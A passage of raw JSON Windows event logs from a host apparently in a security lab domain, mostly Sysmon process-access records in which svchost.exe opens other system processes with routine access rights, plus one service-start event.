11:54:41.204","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2232","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4101-5F2D-0000-00106DD50500}","TargetProcessId":"4648","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\usocore.dll+21062|c:\\windows\\system32\\usocore.dll+158b4|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76844,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Windows Insider Service service entered the running state.","param1":"Windows Insider Service","param2":"running","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.298\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.298","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.298\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.298","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.298\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.298","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.298\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.298","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.298\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:41.298","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:41.298\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 